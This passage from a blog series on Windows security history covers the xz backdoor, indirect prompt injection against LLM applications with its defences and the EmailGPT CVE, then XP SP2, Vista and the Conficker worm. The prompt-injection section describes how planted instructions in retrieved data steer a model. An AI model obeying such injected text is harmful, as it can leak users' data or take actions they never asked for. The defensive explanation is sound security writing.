The xz-utils CVE-2024-3094 attack is the canonical case. Andres Freund's March 29, 2024 oss-security disclosure described a multi-year campaign by an attacker using the handle "Jia Tan" who, over two and a half years (the first patch landed in October 2021), built a maintainer-grade reputation and pushed a backdoor into the xz release tarballs that diverged subtly from the git source [@freund-xz-disclosure]. Russ Cox's timeline reconstructs the social-engineering chain: the "Jigar Kumar" and "Dennis Ens" sockpuppet accounts pressuring the original maintainer to delegate authority, the gradual accretion of commit access, the backdoor delivered in the release artifacts but not the git history [@cox-xz-timeline].

Note: SLSA's Build track addresses the integrity of the path from source to artifact. It does not address the integrity of the source itself. A malicious patch that lands in the upstream repository and is built by an SLSA Build L3 platform produces a properly attested, properly signed artifact that is malicious. The xz-utils case is the existence proof. Detection here still depends on individual engineer-curiosity in the field -- Andres Freund noticed an anomalous CPU spike on his Debian sid SSH logins and chased it -- not on any mechanically verifiable property of the supply chain.

Frontier 2: AI/LLM-integrated software

The threat-modeling frameworks the SDL absorbed -- STRIDE, PASTA, LINDDUN -- were designed for systems whose components have specifications. An LLM is not such a component. Its behavior is an empirical artifact of its training data and the prompt context it receives; there is no spec a verifier can use to bound the set of outputs the model will produce for a given input.

The partial responses on the table in 2026: the NIST AI Risk Management Framework (AI RMF 1.0), released January 26, 2023 [@nist-ai-rmf]; the OWASP Top 10 for Large Language Model Applications, now part of the OWASP GenAI Security Project [@owasp-llm-top-10]; and the draft NIST SP 800-218A IPD ("Secure Software Development Practices for Generative AI and Dual-Use Foundation Models"), published April 29, 2024, by Souppaya, Vassilev, Ogata, Stanley, and Scarfone as an SSDF Community Profile mandated by Executive Order 14110 section 4.1(a)(ii) of October 30, 2023 [@nist-sp-800-218a-ipd] [@nist-sp-800-218a-ipd-pdf].

To bring this frontier to the same mechanism-grade depth as Frontier 1, the worked example below traces a single named vulnerability class -- Indirect Prompt Injection (IPI) -- from primary disclosure through vendor mitigation, productization, federal-supplier profile, and a real-world CVE.

A class of attack against LLM-integrated applications in which the attacker never interacts with the model directly. Instead, the attacker plants adversarial instructions into data the model will later retrieve -- a web page the model browses, a document the model summarizes, an email the model is asked about, a code-repository file the model is asked to refactor. When the LLM ingests that data, it treats the injected instructions as part of its prompt context and acts on them. The term was defined by Greshake, Abdelnabi, Mishra, Endres, Holz, and Fritz in their AISec 23 paper [@greshake-ipi-arxiv] [@greshake-ipi-acm].

The vulnerability class. The Greshake et al. paper (arXiv v1 February 23, 2023; AISec 23 proceedings November 30, 2023, Copenhagen) demonstrated working IPI attacks against Bing Chat (GPT-4 powered), GPT-4-integrated synthetic applications, and code-completion engines [@greshake-ipi-arxiv]. The paper's threat taxonomy enumerates four families: data theft, worming (LLM-to-LLM propagation through injected outputs that subsequent LLMs read), information-environment contamination, and arbitrary code execution at the application-functionality layer [@greshake-ipi-arxiv] [@greshake-ipi-acm].

The vendor mitigation -- Microsoft Spotlighting. Hines, Lopez, Hall, Zarfati, Zunger, and Kiciman published "Defending Against Indirect Prompt Injection Attacks With Spotlighting" (arXiv v1 March 20, 2024) [@hines-spotlighting-arxiv]. Spotlighting is a family of prompt-engineering techniques -- datamarking, encoding, per-token-marker transformations -- that, in the paper's words, provide "a reliable and continuous signal of provenance" so the model can distinguish instructions from retrieved data. The empirical claim is verbatim: "spotlighting reduces the attack success rate from greater than 50% to below 2% in our experiments with minimal impact on task efficacy" on GPT-family models [@hines-spotlighting-arxiv].

The productization -- Azure AI Content Safety Prompt Shields. Spotlighting moved from a research paper to a productized API surface: Microsoft Learn documents Prompt Shields as "a unified API in Azure AI Content Safety that detects and blocks adversarial user input attacks on large language models" [@azure-prompt-shields]. The Microsoft Docs Zero Trust SFI guidance documents the layered defense-in-depth pattern Prompt Shields and Spotlighting compose into: "Prompt shields ... Spotlighting ... Plan drift detection ... Critic agents ... Tool chain analysis ... Security guardrails" [@msdocs-defend-ipi]. MSRC's July 2025 blog "How Microsoft defends against indirect prompt injection attacks" is the canonical Microsoft narrative [@msrc-ipi-blog].

The framework mapping -- OWASP LLM01. The OWASP GenAI Security Project's LLM01 page enumerates seven prevention-and-mitigation strategies for prompt injection [@owasp-llm01-prompt-injection]. Spotlighting is the algorithmic implementation of Category 6 ("Segregate and identify external content"); system-prompt enforcement is Category 1 ("Constrain model behavior"); tool-call permission scoping is Category 4 ("Enforce privilege control and least privilege access"); human-in-the-loop checkpoints for high-risk tool calls (file write, email send, payment) are Category 5 ("Require human approval for high-risk actions") [@owasp-llm01-prompt-injection].

The federal-supplier profile -- NIST SP 800-218A IPD. The draft NIST SP 800-218A profile takes the OWASP and Microsoft Research mitigation vocabulary and translates it into SSDF practice-level language [@nist-sp-800-218a-ipd] [@nist-sp-800-218a-ipd-pdf]. The legal anchor is Executive Order 14110 section 4.1(a)(ii) of October 30, 2023; the initial public draft published April 29, 2024 with a comment deadline of June 2, 2024 [@nist-sp-800-218a-ipd].

The real-world CVE -- CVE-2024-5184 (EmailGPT). The OWASP LLM01 page Scenario #5 references CVE-2024-5184 directly. The NVD record classifies it as CWE-74 (Improper Neutralization, Injection) with CVSS Base Score 6.5 Medium; the CNA is Synopsys (Black Duck) [@nvd-cve-2024-5184]. The Black Duck CyRC advisory reconstructs the disclosure timeline: initial contact February 26, 2024; reminders April 4 and May 1; public advisory June 5, 2024 -- about ninety-nine days with no vendor response [@blackduck-cyrc-emailgpt]. Mohammed Alshehri at Black Duck CyRC discovered the vulnerability; the CyRC recommendation, verbatim, is to "remove the applications from networks immediately" [@blackduck-cyrc-emailgpt]. That recommendation is the operational evidence that the field still lacks a reliable in-band mitigation it can ship without removing the application from production.

Note: Four gaps deserve naming for readers reusing this material. First, no primary-source-grade threat-modeling method exists for the prompt-context, training-data-supply-chain, or fine-tuning-data attack surfaces in the closed-list way STRIDE exists for component-with-spec systems; OWASP LLM01's seven categories are a useful checklist but not a generative methodology. Second, Spotlighting's empirical 50%-to-2% reduction is per-model, per-task, and adversary-specific [@hines-spotlighting-arxiv] -- tested against specific GPT-family models with specific attack templates. Third, the CVE-2024-5184 disclosure timeline (Feb 26 to Jun 5, 2024, no vendor response) [@blackduck-cyrc-emailgpt] demonstrates the field still lacks the institutional analog of MSRC's 2002-era coordinated-disclosure norms for LLM-integrated applications. Fourth, the 2002-style cohort migration is not yet available: there is no equivalent of "ship telemetry, publish guidance, flip the default, deprecate, remove" for "prompt-injection-vulnerable LLM agent integrations," because the legitimate-use long tail is the entire space of LLM-integrated applications, not a single deprecated protocol like SMBv1.

Mapping the article's thesis onto this frontier: Greshake et al. named the class (February 2023) the way Saltzer and Schroeder named the principles in 1975; Microsoft published the mitigation (Spotlighting, March 2024) with a measurable effect; Microsoft productized it (Azure Prompt Shields); NIST published the federal-supplier profile (SP 800-218A IPD, April 2024); and a real-world CVE with no vendor response demonstrates the cycle has not yet completed at industry scale. The 2002 pattern -- discipline, then authority, then mitigation, then productization, then federal-supplier mandate, then coordinated-disclosure norm -- is in progress for the AI/LLM frontier, and the reader can see exactly which steps remain.

Frontier 3: the formal-verification gap

The proof-of-correctness path has narrowed the gap between SOTA shipped code and the theoretical upper bound, but not closed it.

The canonical worked example is seL4: a formally verified microkernel, Klein et al., SOSP 2009 [@klein-sel4-sosp-2009]. The seL4 FAQ lists per-architecture kernel sizes for the verified configurations: roughly 10,000 source-lines-of-code on RISC-V 64, 12,100 on AArch32, 12,600 on AArch64 with hypervisor extensions, and 16,000 on x64 [@sel4-faq]. The proof-to-code ratio is approximately 20 to 1 -- twenty lines of Isabelle/HOL proof for every line of kernel C -- and the proof effort was approximately twenty person-years for the original 2009 verification [@klein-sel4-sosp-2009].

Why has seL4-class verification not scaled from a microkernel to a desktop OS? The barrier is compositional: each new feature requires re-proving every relevant invariant compositionally. The cost grows non-linearly with feature surface; even with two and a half decades of tooling improvement, no verified OS at desktop-Linux or Windows scale exists in production.

Microsoft's parallel path -- the one running today, not over the next twenty years -- is the introduction of memory-safe Rust into selected Windows components. David Weston's BlueHat IL 2023 talk gave the two named exemplars: the Win32k GDI region engine (~36,000 lines of Rust) and DWriteCore (~152,000 lines of Rust) [@weston-bluehat-il-2023].

Why does Rust help when seL4-style proof does not scale? Because Rust does not try to prove "the program is correct." It enforces a weaker but mechanically checkable property at the type-system level: no aliased mutable borrows, no use-after-free. That weaker property closes most of the bug class behind the 70% memory-safety figure, by construction, at compile time -- without any per-program proof effort.

That trade-off is the load-bearing engineering pattern of every secure-development framework since 2002. There is a name for it in the formal-methods literature, and a 1953 theorem behind it.

A mechanically checkable proxy property that closes the most common subset of an undecidable semantic property's bug class. Rice's theorem (Henry Rice, *Transactions of the AMS* 74, 1953) says any non-trivial semantic property of a Turing-recognizable program is undecidable -- you cannot, in general, write a checker that decides whether an arbitrary program has the property. The SDL's engineering workaround has always been to substitute a *decidable* property that catches the most common cases. `banned.h` substitutes "is this textual symbol present?" (trivially decidable, mechanically enforceable) for "is this string copy memory-safe?" (undecidable). C28719 is the descendant of that substitution that still release-gates Windows drivers in 2026 [@msft-c28719]. Rust's borrow-checker is the same trick at the language layer: it substitutes "is every borrow either exclusive or shared?" for "is the program memory-safe?", closing a much larger class of bugs by construction.

The unifying pattern across sections 7, 9, and 10:

Key idea: Rice's theorem says the question we want to answer is undecidable. The discipline that emerged from the 2002 Push said: substitute a question we can answer, make the substitution good enough, and gate releases on the substituted question. Every generation since -- banned.h, strsafe.h, C28719, the Rust borrow-checker, SLSA Build attestations -- has substituted a better question.

The series this article opens has five more parts -- beginning with Part 2 (2002-2008) -- each working a generation forward:

flowchart LR P1[Part 1: Wild West and TwC memo 1995-2002] --> P2[Part 2: XP SP2 DEP NX Windows Firewall WRP early ASLR Aug 2004] P2 --> P3[Part 3: Vista UAC MIC BitLocker PatchGuard driver signing Nov 2006] P3 --> P4[Part 4: Windows 7 to 10 AppContainer Credential Guard Device Guard 2009-2015] P4 --> P5[Part 5: Cloud era Azure AD Conditional Access Entra ID 2015-present] P5 --> P6[Part 6: Endpoint defenses HVCI VBS Pluton Rust in Windows 2018-2026]

Mandatory Integrity Control (MIC) is a Windows Vista (2006) feature, not an NT-era latent design. Vista introduced integrity levels (Low, Medium, High, System) and the integrity-level-tagged DACLs that make MIC work; UAC builds on top. Part 3 of this series will work the mechanism in detail.

For readers who want the mechanics rather than the history: this article is the institutional birth; the companion in-depth posts cover the primitives. The Windows access-control model post walks the SRM, DACLs, SACLs, and SIDs in operational detail; the DPAPI post covers the user-key derivation pipeline; the NT Kerberos post covers the LSA, the KDC, the TGT, and the ticket-granting flow; the smart cards post covers the certificate-bound credential path.

The story ends, but the wars do not. The institutional pattern the era forced is now twenty-five years old; the bug class that forced it is still ~70% of shipped CVEs. The next twenty-five years will repeat the operationalization pattern at progressively more abstract layers -- supply chain, machine-learning model, the developer's autonomous agent. The hard part has never been the technical question. The hard part is always the executive willingness to halt feature work to answer it.

11. Frequently Asked Questions

Every retelling of this era invites a predictable set of pushbacks. Address them head-on, so the article can end on wonder, not on quibble.

No, and the cost-and-mechanism evidence is the rebuttal. The Push was approximately ten weeks of paused feature work across ~8,500 Windows engineers at a total cost of ~$100 million in foregone feature work, and the methodology survived twenty-plus years as the published Microsoft SDL, ISO/IEC 27034, OWASP SAMM, BSIMM, NIST SSDF, SLSA, and CISA Secure by Design [@howard-lipner-push-2003] [@washtech-microsoft-100m] [@msft-sdl-practices] [@iso-27034-1] [@owasp-samm-model] [@bsimm-home] [@nist-ssdf-218] [@slsa-home] [@cisa-secure-by-design]. A PR move does not survive a fiscal-quarter reporting cycle, let alone two decades and a peer-reviewed primary-source accounting in IEEE *Security and Privacy* [@howard-lipner-push-2003]. Partly. OpenBSD's audit-driven engineering culture started in the summer of 1996, six years before the Windows Security Push; its "six to twelve" auditor team has been continuously active since [@openbsd-security]. The OpenBSD slogan -- "only two remote holes in the default install, in a heck of a long time" -- is real and earned [@openbsd-security]. The distinction is scale and incentive: OpenBSD's model worked for a small homogeneous codebase with self-selected auditors and a permissive-license, no-revenue context; the SDL's model was built for a fifty-thousand-person, hundred-million-line, quarterly-revenue context. Parallel paths, not competitors. No -- the eEye back-reference in their own August 4, 2001 Code Red II advisory points at advisory `AL20010717.html`, that is, **July 17, 2001**, for the original Code Red I discovery [@eeye-codered-ii]. CAIDA's measurement of the saturating Code Red v2 outbreak covers the **July 19, 2001** event with ~359,000 unique IPs in under fourteen hours [@caida-codered]. The defensible phrasings are "mid-July 2001" or "July 17, 2001" for Code Red I, and "July 19, 2001" for Code Red v2. No. ILOVEYOU was a **VBScript / Windows Script Host email worm**, executed by `wscript.exe` when the user double-clicked the `LOVE-LETTER-FOR-YOU.TXT.vbs` attachment in Outlook [@cert-ca-2000-04-iloveyou]. The "Concept / Melissa / ILOVEYOU" grouping in popular retellings conflates two distinct execution surfaces: Office macros (Concept, Melissa) and the Windows scripting host (ILOVEYOU). The classification matters because the fixes are different -- Office macro auto-execute is an Office configuration; WSH-by-default and the hidden double-extension display in Explorer were Windows shell decisions. No. The January 15, 2002 memo halted *Windows-division* feature work for the February-April 2002 Push, at the ~8,500-engineer scale Howard and Lipner document [@howard-lipner-push-2003]. The Office division, the .NET division, and the SQL Server division ran analogous pushes *serially* through 2002-2003, not simultaneously. The company-wide aggregate figure of "10,000 engineers" rolls those serial pushes together; the Windows-only number from the primary record is ~8,500 [@howard-lipner-push-2003] [@washtech-microsoft-100m]. Visual Studio .NET launched on schedule on February 13, 2002, after the December 2001 pre-launch security review the Gates memo names as the **template** for what the rest of the company was about to do [@gates-memo-wired]. Loren Kohnfelder and Praerit Garg, internal Microsoft memo "The Threats to Our Products," dated April 1, 1999 -- nearly three years before the Gates memo [@shostack-tm-book]. The memo is **no longer hosted on Microsoft's own web site**, but it has been publicly preserved at Adam Shostack's archive [@shostack-stride-memo-archive] (Shostack's landing page notes the document is no longer available on Microsoft's web site, "so we keep a copy here"), with an independent mirror at FIRST's CTI SIG curriculum [@first-stride-memo-mirror]. The chain-of-custody analysis is Shostack's *Threat Modeling: Designing for Security*, Wiley 2014 [@shostack-tm-book]. Microsoft's current Threat Modeling Tool is the operational descendant [@msft-threat-modeling-tool]. STRIDE's existence is the strongest single piece of evidence that the article's literal thesis ("Microsoft had no security team before January 15, 2002") needs the corrected reading in section 5 -- the methodology was *internal* by 1999; what was missing was the authority to require its use. No, and the article explicitly disclaims this reading. The underlying ideas -- Saltzer and Schroeder 1975, the Orange Book 1985, CERT/CC 1988, OpenBSD 1996, Schneier's Attack Trees December 1999, Kohnfelder and Garg's STRIDE April 1999, Howard and LeBlanc's *Writing Secure Code* November 2001 -- all predate it [@saltzer-schroeder-1975] [@tcsec-orange-book] [@openbsd-security] [@schneier-attack-trees-1999] [@shostack-tm-book] [@howard-leblanc-wsc]. What January 15, 2002 was, is the moment a fifty-thousand-person desktop-monopoly vendor first applied release-blocking executive authority to make secure development a non-negotiable engineering gate. The corrected reading -- **industrial-scale operationalization at a dominant vendor**, not the *invention* of the field -- is the only one the evidence supports. For readers who finish the article wanting to verify or extend the claims directly, the five most-useful primary sources cited throughout, by section:

Section 6 (the memo). Bill Gates, "Trustworthy computing" memo to "Microsoft and Subsidiaries: All FTE," sent Tuesday, January 15, 2002 5:22 PM Pacific. Wired's republication preserves the original mail headers verbatim [@gates-memo-wired]; the Help With Windows mirror preserves the same From: / Sent: / To: / Subject: block [@helpwithwindows-billg].
Section 7 (the Push). Michael Howard and Steve Lipner, "Inside the Windows Security Push," IEEE Security and Privacy 1(1):57-61, January-February 2003 [@howard-lipner-push-2003]. The primary-source paper for the approximately 8,500-engineer, approximately ten-week, approximately one-hundred-million-dollar, approximately 50% post-release-vulnerability-reduction numbers. DOI of record: 10.1109/MSECP.2003.1176996; IEEE Xplore is paywalled.
Section 4 (Code Red). David Moore, Colleen Shannon, Jeffery Brown, "Code-Red: a case study on the spread and victims of an Internet worm," CAIDA 2002 [@caida-codered]. The 359,000-host measurement.
Section 4 (Slammer). David Moore, Vern Paxson, Stefan Savage, Colleen Shannon, Stuart Staniford, Nicholas Weaver, "The Spread of the Sapphire/Slammer Worm," CAIDA / ICSI / Silicon Defense / UCSD / UC Berkeley 2003 [@caida-slammer]. The 8.5-second-doubling, ten-minute-saturation, approximately 75,000-host primary.
Section 10 (formal verification). Gerwin Klein, Kevin Elphinstone, Gernot Heiser, et al., "seL4: Formal Verification of an OS Kernel," SOSP 2009 [@klein-sel4-sosp-2009]. The formal-verification anchor; project FAQ at [@sel4-faq].

One sentence to carry forward, restating the article's load-bearing observation in plain English: the breakthrough was organizational, not technical. Same checklists, different signoff power. That pattern -- "make existing methods mandatory, and gate releases on them" -- is what every secure-development framework on the industry shelf in 2026 has, in its own vocabulary, copied. The next twenty-five years will copy it at the supply-chain layer, the machine-learning-model layer, and the autonomous-agent layer; the pattern is what travels.

Eight Primitives, One Worm: The Windows Security Wars Part 2 (2002-2008)

noreply@paragmali.com (Parag Mali) — Fri, 29 May 2026 00:00:00 GMT

Between Bill Gates's January 15, 2002 Trustworthy Computing memo and Windows 7's October 22, 2009 general availability, Microsoft executed the largest single security re-architecture in Windows's history -- and shipped most of it inside Windows Vista, one of the most poorly received consumer Windows releases ever made.

This is the story of what that re-architecture built (UAC, Mandatory Integrity Control, UIPI, ASLR, mandatory x64 driver signing, Service Hardening, BitLocker, the Windows Filtering Platform, Windows Resource Protection, and -- inherited from an April 2005 x64-only release that Vista did not introduce -- Kernel Patch Protection), and what Vista broke for compatibility and goodwill along the way.

Then Conficker (late November 2008, twenty-nine days after the MS08-067 patch) proved that deployment velocity, not discovery latency, is the binding constraint on Internet security. Windows 7's polished re-release of substantially the same security architecture is the article's evidence that the user-hostility tax is payable -- if the work is done.

1. The Patch Was Already a Month Old

On Thursday, October 23, 2008, the Microsoft Security Response Center shipped MS08-067 out of band -- not on the next Patch Tuesday, because the analysts who triaged the bug believed a wormable exploit was weeks away, not months [@s-ms08-067]. They were right about the direction and wrong about the calendar. Roughly twenty-nine days later, anchored to November 20, 2008 in SRI International's technical analysis, Conficker.A began walking the IPv4 address space on TCP/445 [@s-sri-conficker-c-addendum]. Within four months the worm had infected somewhere between nine and fifteen million machines on a vulnerability whose patch had existed the entire time [@s-cwg-lessons-learned-2019].

The October 23, 2008 Microsoft Security Bulletin patching CVE-2008-4250, a stack buffer overflow in the path-handling code reachable through the Server service's `srvsvc` RPC interface on TCP/445 (and TCP/139 in NetBT environments). The bulletin text warns the vulnerability "could be used in the crafting of a wormable exploit" -- a prediction that Conficker.A confirmed twenty-nine days later [@s-ms08-067]. A Microsoft security update released outside the regular monthly Patch Tuesday cadence (the second Tuesday of the month). Microsoft reserves out-of-band releases for vulnerabilities whose risk profile -- active exploitation, imminent worm potential, or critical pre-authentication remote code execution -- does not survive the wait until the next monthly bulletin window [@s-msft-secupdates-index].

This article is the story of what Microsoft built between January 15, 2002 (the Trustworthy Computing memo) and October 22, 2009 (Windows 7 general availability), the architectural and cultural costs of that build, and the operational lesson Conficker forced everyone to acknowledge.

The architectural defenses that Trustworthy Computing produced -- Data Execution Prevention, Address Space Layout Randomization, the Windows Firewall on by default, Service Hardening, the integrity-level stack -- could only protect machines that ran the new code. The installed base did not run the new code. Server 2003 and Windows XP were still the working majority on TCP/445-reachable subnets in late 2008, and Vista's DEP and ASLR materially raised exploitation cost on Vista without raising it on the systems the worm actually walked.

Confusing the October-2008 in-the-wild MS08-067 exploitation with Conficker is the most common single error in retellings of this period. The NVD entry for CVE-2008-4250 is explicit: the October-2008 in-the-wild exploitation was Gimmiv.A, a narrower non-self-propagating Trojan, not Conficker [@s-nvd-cve-2008-4250]. Conficker.A first appeared on the Internet on November 20, 2008 per SRI International [@s-sri-conficker-c-addendum].

sequenceDiagram autonumber participant MSRC as Microsoft Security Response Center participant SRV as Server service over TCP/445 participant VISTA as Vista with DEP and ASLR participant XP as XP and Server 2003 installed base participant CONF as Conficker.A MSRC->>SRV: Oct 23, 2008 out-of-band MS08-067 patch Note over MSRC,SRV: Bulletin warns "wormable exploit" possible SRV-->>XP: Patch must propagate via Automatic Updates or WSUS SRV-->>VISTA: Patch applied, DEP and ASLR raise exploit cost Note over XP,VISTA: Late October, in-the-wild Gimmiv.A Trojan uses CVE-2008-4250 narrowly CONF->>XP: Nov 20, 2008 Conficker.A scans TCP/445 across IPv4 Note over CONF,XP: Unpatched XP and Server 2003 are the dominant targets XP-->>CONF: Successful exploitation, lateral spread, DGA callback Note over CONF,XP: Jan to Apr 2009, 9 to 15 million infections worldwide

By the end of the article you will be able to name every XP SP2 and Vista mitigation, the attack class it broke, the compatibility cost it imposed, and which Windows release inherited or smoothed it. You will know why the most important Trustworthy Computing lesson was not architectural at all -- it was operational.

Key idea: The patch existed the entire time. Deployment did not. Every Trustworthy Computing mitigation in this article is a partial answer to the question "what reaches the installed base on time?" Conficker is the era's answer to the question "what does not?"

How did we get from the Code Red era to a Trustworthy-Computing world where a wormable RCE could still infect millions? Start with one memo and a stand-down.

2. Where Part 1 Left Off

On the morning of January 16, 2002, the engineers who worked on Windows came back to work and could not check in code. Bill Gates's memo had gone out the previous afternoon and reading it took about eleven minutes. The order in the building was the simple part: stop everything, sit through retraining, do not commit until you can argue your changes against a threat model.

The slower part was naming what had just happened. It was not a campaign. It was a directive that quietly changed the unit of work at Microsoft from "ship the feature" to "ship the feature you can prove will not get someone exploited."

The memo itself was the institutional charter for everything in this article. It opened in plain prose -- "Every few years I have sent out a memo talking about the highest priority for the company" -- and arrived at its load-bearing sentence in the fifth sentence of the first paragraph: "Trustworthy Computing is the highest priority for all the work we are doing" [@s-gates-twc-wired]. The line read in 2002 as a corporate goal-setting exercise. In retrospect it read as a contract.

The Wired and CNET reproductions of the memo carry the same body but differ on the timestamp in the "Sent:" header. Wired records "Sent: Tuesday, January 15, 2002 5:22 PM" [@s-gates-twc-wired]; CNET's parallel reproduction shows "Sent: Tuesday, January 15, 2002 2:22 PM" [@s-gates-twc-cnet]. The three-hour delta is the Eastern-vs-Pacific wall-clock difference, consistent with Wired having an Eastern copy and CNET reproducing a Pacific one. The article renders the send time as "2:22 PM Pacific / 5:22 PM Eastern."

Trustworthy Computing is the highest priority for all the work we are doing. -- Bill Gates, internal Microsoft memo, January 15, 2002 [@s-gates-twc-wired]

The next two months turned the memo into engineering. From roughly February through March 2002, Microsoft ran the Windows security stand-down: approximately 8,500 Windows engineers were pulled off feature work to read Howard and LeBlanc's Writing Secure Code, 2nd edition (Microsoft Press, 2002) [@s-howard-leblanc-wsc2e] and to be retrained on threat modeling, input validation, integer-overflow defense, secure default selection, and the privilege-reduction patterns the book named explicitly. Three Microsoft Press security titles served as the canonical training corpus for the next several years; Writing Secure Code 2e was the one that lived on every desk.

But the stand-down was a one-time event. The thing that had to outlast it was the process. The Trustworthy Computing Security Development Lifecycle, formally adopted as a mandatory company-wide engineering process in 2004 and described at the Annual Computer Security Applications Conference that December, is the right pivot to point to.

The canonical paper, Lipner and Howard's "The Trustworthy Computing Security Development Lifecycle," ran in the ACSAC 2004 proceedings [@s-lipner-howard-acsac2004-doi]; the IEEE Xplore PDF is paywalled in 2026, so the 2006 Microsoft Press book The Security Development Lifecycle is the cite-when-possible substitute [@s-howard-lipner-sdl-book]. The SDL is what made every later Windows release feasible: each new version's threat model, security design review, fuzzing budget, and security push had a name and a sign-off list.

Microsoft's formal process specification for security engineering across the product lifecycle. The SDL mandates threat modeling, secure design review, security training, banned-API enforcement, fuzzing, attack-surface review, and a final security push before any product ships. Mandatory company-wide at Microsoft starting in 2004; the definitive ACSAC 2004 paper is the formal record [@s-lipner-howard-acsac2004-doi], and the 2006 Microsoft Press book is the publicly accessible canonical reference [@s-howard-lipner-sdl-book].

The two-and-a-half years between the memo and XP Service Pack 2 were not quiet. MS03-026 in July 2003 led to Blaster three weeks later [@s-msft-ms03-026]; MS03-039 in August 2003 led to Welchia [@s-msft-ms03-039]; MS04-011 in April 2004 led to Sasser [@s-msft-ms04-011]. Each worm was, by the standards of late 2003, a public referendum on whether the "patch fast" model could work for an installed base of hundreds of millions of machines whose users never opened Windows Update. The pattern is worth a small table.

Date	Event	Why it mattered
Jan 15, 2002	Gates Trustworthy Computing memo	Institutional charter for the next eight years of Windows security work
Feb-Mar 2002	Windows security stand-down	About 8,500 engineers retrained on secure-coding patterns
Jul 16, 2003	MS03-026 patches DCOM RPC	Patch ships about three weeks before Blaster (Aug 11)
Aug 11, 2003	Blaster worm	Patched RPC vulnerability exploited in the wild; deployment lag obvious
Aug 2003	Welchia "good worm"	Nematode-style attempt to push the patch; spreads exactly as fast as Blaster
Apr 13, 2004	MS04-011 patches LSASS	Patch ships about two weeks before Sasser
Apr 30, 2004	Sasser worm	Hits ATMs, banks, airlines; the second wormable post-patch event in a year
Dec 2004	SDL formalised at ACSAC	Process becomes a paper; mandatory across Microsoft engineering

What Microsoft was about to ship in August 2004 was not a service pack. It was a feature release with a service-pack number on it -- and it would prove that the right unit of analysis for OS-level security is not the mitigation itself but the deployment threshold the default reaches.

3. Why XP SP2 Was Treated as a Major OS Release

By the end of 2003 the SP1-era model had collapsed. The bulletin cadence was monthly; the patch was per-CVE; the deployment mechanism was opt-in; and Blaster and Sasser had both shipped while that model was running [@s-msft-secupdates-index]. None of the four design decisions individually was unreasonable. Together they had produced a Windows world in which a worm could outrun a patch by weeks, sometimes months, and the only thing standing between a Class B subnet and an exploitation rate close to 100% was whether enough users had clicked "Install."

Microsoft's response was a year-long slip. XP Service Pack 2, internally codenamed "Springboard," moved from a planned H2 2003 release to August 6, 2004, and along the way it was upgraded from "service pack" to "feature release with a service-pack number on it."

The bundle that shipped that day did five things that no prior Windows release had ever done in a single update. The Windows Firewall arrived on by default and active during the boot sequence, closing the Blaster-window race condition. Data Execution Prevention shipped with default-on policy for Windows binaries.

The Attachment Execution Service became the system-wide enforcement substrate of the Zone.Identifier NTFS Alternate Data Stream. Internet Explorer 6 SP2 got a pop-up blocker on by default plus an ActiveX opt-in framework and a Local Machine Zone lockdown. Security Center became the first centralized Control Panel surface that aggregated firewall, Automatic Updates, and antivirus state into a single place a non-technical user could understand.

James Forshaw's Project Zero retrospective on Windows network access is blunt about how thin the pre-SP2 firewall story was [@s-forshaw-projectzero-wfp]. The Internet Connection Firewall in XP RTM was technically present, but it was off by default, scoped to the Internet-facing interface, and the first thing most OEM imaging scripts disabled.

Prior to XP SP2 Windows didn't have a built-in firewall, and you would typically install a third-party firewall such as ZoneAlarm. -- James Forshaw, Google Project Zero [@s-forshaw-projectzero-wfp]

The conceptual move underneath SP2 is the one that matters for the rest of the article. Microsoft did not invent a single new mitigation in SP2. Software firewalls, NX-style memory protection, file-provenance tagging, pop-up blockers, and centralized policy notifications all existed somewhere already in 2003 -- in third-party products, in PaX on Linux, in OpenBSD, in academic research. What SP2 did was take those mitigations off the customer's optional configuration menu and put them in the default install.

A security control whose default configuration on a freshly installed or upgraded system is "active," not "available to be enabled." On-by-default mitigations reach approximately the entire installed base of a release; opt-in mitigations reach approximately the small fraction of users who actively configure them. The asymmetry is roughly two orders of magnitude in deployment reach, which is the engineering reason XP SP2 was treated as a re-release rather than as a service pack [@s-forshaw-projectzero-wfp].

The "5%/95%" framing is shorthand for the on-by-default-vs-opt-in asymmetry -- a two-orders-of-magnitude reach gap [@s-forshaw-projectzero-wfp] that motivated default-on Firewall, default-on DEP for system binaries, default-on Automatic Updates, and default-on UAC.

Here is the SP2 bundle as a table. The third column is the load-bearing one: every default-on choice in SP2 came with a real compatibility cost, and the article's later sections are partly the story of those costs being paid down.

SP2 mitigation	Attack class broken	Compatibility cost
Windows Firewall on by default	Worm-style unauthenticated TCP/445, TCP/135 RPC	Apps binding listening ports without firewall exception manifest
Data Execution Prevention	Stack and heap shellcode execution	First-generation JITs that wrote executable code into RW pages
AES + Zone.Identifier ADS	Outlook and IE auto-launch of attachments	Legitimate self-extracting installers from network shares
IE6 SP2 hardening	Drive-by ActiveX install, pop-up ad layers, MIME confusion	Line-of-business intranet ActiveX apps; legacy webmail pop-ups
Security Center	Status invisibility for non-technical users	Third-party AV vendors objected to display of competing status

Key idea: Once the 5%/95% threshold becomes the unit of analysis, the question changes. The question is no longer "what is the best mitigation we could ship?" It is "what mitigation will the user not turn off?" Every Vista feature in the next chapter is an answer to that question -- and every Vista feature that broke compatibility is the price the answer cost.

XP SP2 reached the broad public via Automatic Updates by late August 2004. By the end of the year Microsoft had pushed the largest single security update in the operating system's history onto roughly the entire XP installed base. The five mitigations that landed that day deserve their own catalogue.

4. The XP SP2 Mitigation Catalogue

XP SP2 shipped on August 6, 2004 and reached the broad public via Automatic Updates by late August. The five mitigations below are not equally famous, but they are equally load-bearing for what came next in Vista. Each subsection opens with what the mitigation broke (the attack class) and ends with what it broke (the compatibility cost).

4.1 Windows Firewall on by default

Pre-SP2, XP had something called the Internet Connection Firewall. It was off by default; it bound only to the interface flagged as the Internet connection during setup; and any application that wanted a listening port could simply listen on a different interface and never trigger it. The Blaster window -- the moment between a fresh XP installing on a network and Automatic Updates pulling MS03-026 -- was open for as long as DHCP plus the first reboot took, which on a 2003-era cable modem was about ninety seconds. Welchia exploited the same window in reverse.

The fix in SP2 was structural. The renamed Windows Firewall came on by default on every interface, was active during the boot sequence (before user-mode services finished initialising), and ran during a brief boot-time stateful inspection window before the regular policy engine took over [@s-forshaw-projectzero-wfp].

What this broke for compatibility: every legitimate application that bound a listening port without registering a firewall exception manifest. Domain join, the older SMB RPC paths, and a long list of corporate management tools needed exception entries pushed via Group Policy before they would work on freshly joined SP2 machines. The forward link is to Vista's Windows Filtering Platform in section 6.6, which gave third-party firewalls and IDS/IPS vendors a supported extension surface instead of forcing them to keep hooking NDIS.

4.2 Data Execution Prevention

